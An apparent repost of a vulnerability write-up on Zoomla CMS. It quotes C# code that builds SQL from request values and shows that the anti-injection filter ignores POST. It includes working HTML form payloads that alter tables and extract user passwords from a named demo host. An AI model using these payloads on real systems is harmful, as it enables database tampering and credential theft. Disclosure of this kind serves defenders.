逐浪CMS2个文件两个注入5处问题代码 另附其他注入绕过方式

没穿底裤 2020年1月1日03:48:17评论315 views字数 2000阅读6分40秒阅读模式
摘要

注入点一 :文件User/UserZone/StructView.aspx参数:ID后台代码片段:此处可确定此ID参数是经过URL传值


漏洞作者: Damo

注入点一 :

文件

User/UserZone/StructView.aspx

参数:ID

后台代码片段:

public void Page_list()     {        .....         DataTable dataTable = this.user.Sel("StructureID like '%," + base.Request.QueryString["ID"] + ",%'", "");         .......     }

此处可确定此ID参数是经过URL传值

逐浪之前的防注入调整了

那下面通过另一种方式绕过

那么看Global

private void Application_BeginRequest(object sender, EventArgs e)         {             if (base.Request.RequestType.ToUpper() == "GET" && ZoomlaSecurityCenter.GetData())             {                 function.WriteMessage("产生错误的可能原因:你提交的参数不正确,包含恶意字符串,或检查系统是否开启了SQL防注入功能!", "", "非法SQL注入或存储!");             }             if (base.Request.HttpMethod.ToUpper() == "POST" && HttpContext.Current.Request.Files.Count > 0)             {                 ZoomlaSecurityCenter.CheckUpladFiles();             }         .... }

由此可得出结论 :SQL注入的防御只对GET方式进行了过滤 而 POST YY了

那么 利用方式如下:

<form action="http://192.168.10.55:9992/User/UserZone/StructView.aspx?ID=SA';update ZL_3DMusic set MusicName='wooyun' where id=1 and ',%'='" method="post">   <input id="Submit1" type="submit" value="submit" />  </form>

此处可修改任何表 这里测试的是表 ZL_3DMusic 的字段 MusicName 为wooyun

逐浪CMS2个文件两个注入5处问题代码 另附其他注入绕过方式

注:此注入点在官网Demo中已被删除 ,但是官方提供的下载中依然存在

注入点二中则包含两个小侏儒:

文件 :

/User/userzone/logmanage/logsearchresult.aspx

代码片段:

问题出现在页面后台方法

这个方法中的 是小侏儒1 函数名称

OK_Click()

参数

string text2 = base.Request.Form["age1"];         string text3 = base.Request.Form["age2"];         string text4 = base.Request.Form["sex"];         string text5 = base.Request.Form["ltype"];
问题代码1     text = text + " and userSex=" + text4; 问题代码2         if (text5 != "")         {             text = text + " and logtypeid='" + text5 + "'";         }

这个方法中的 是小侏儒2 函数名称

OK2_Click()

参数:

string text2 = base.Request.Form["sType"]; string text3 = base.Request.Form["TypeStr"];  问题代码: 问题代码1 if (!string.IsNullOrEmpty(text3))                 {                     text = text + " and username='" + text3.Trim() + "'";                 } 问题代码2 if (!string.IsNullOrEmpty(text3))         {             text = text + " and LogTitle='" + text3.Trim() + "'";         }

利用代码:如下

<form action="http://demo.zoomla.cn/User/userzone/logmanage/logsearchresult.aspx"  method="post">  <input type="text" name="age1" id="age1" value="1" />  <input type="text" name="age2" id="age2" value="1" />  <input type="text" name="sex" id="sex" value="1" />  <input type="text" name="ltype" id="ltype" value="6F9619FF-8B86-D011-B42D-00C04FC964FF' and 1=( select top 1 STUFF( UserPwd, 1, 0, UserName) from dbo.ZL_User )--" />  <input id="Submit1" type="submit" value="submit" />  </form>

逐浪CMS2个文件两个注入5处问题代码 另附其他注入绕过方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日03:48:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   逐浪CMS2个文件两个注入5处问题代码 另附其他注入绕过方式http://cn-sec.com/archives/75991.html

发表评论

匿名网友 填写信息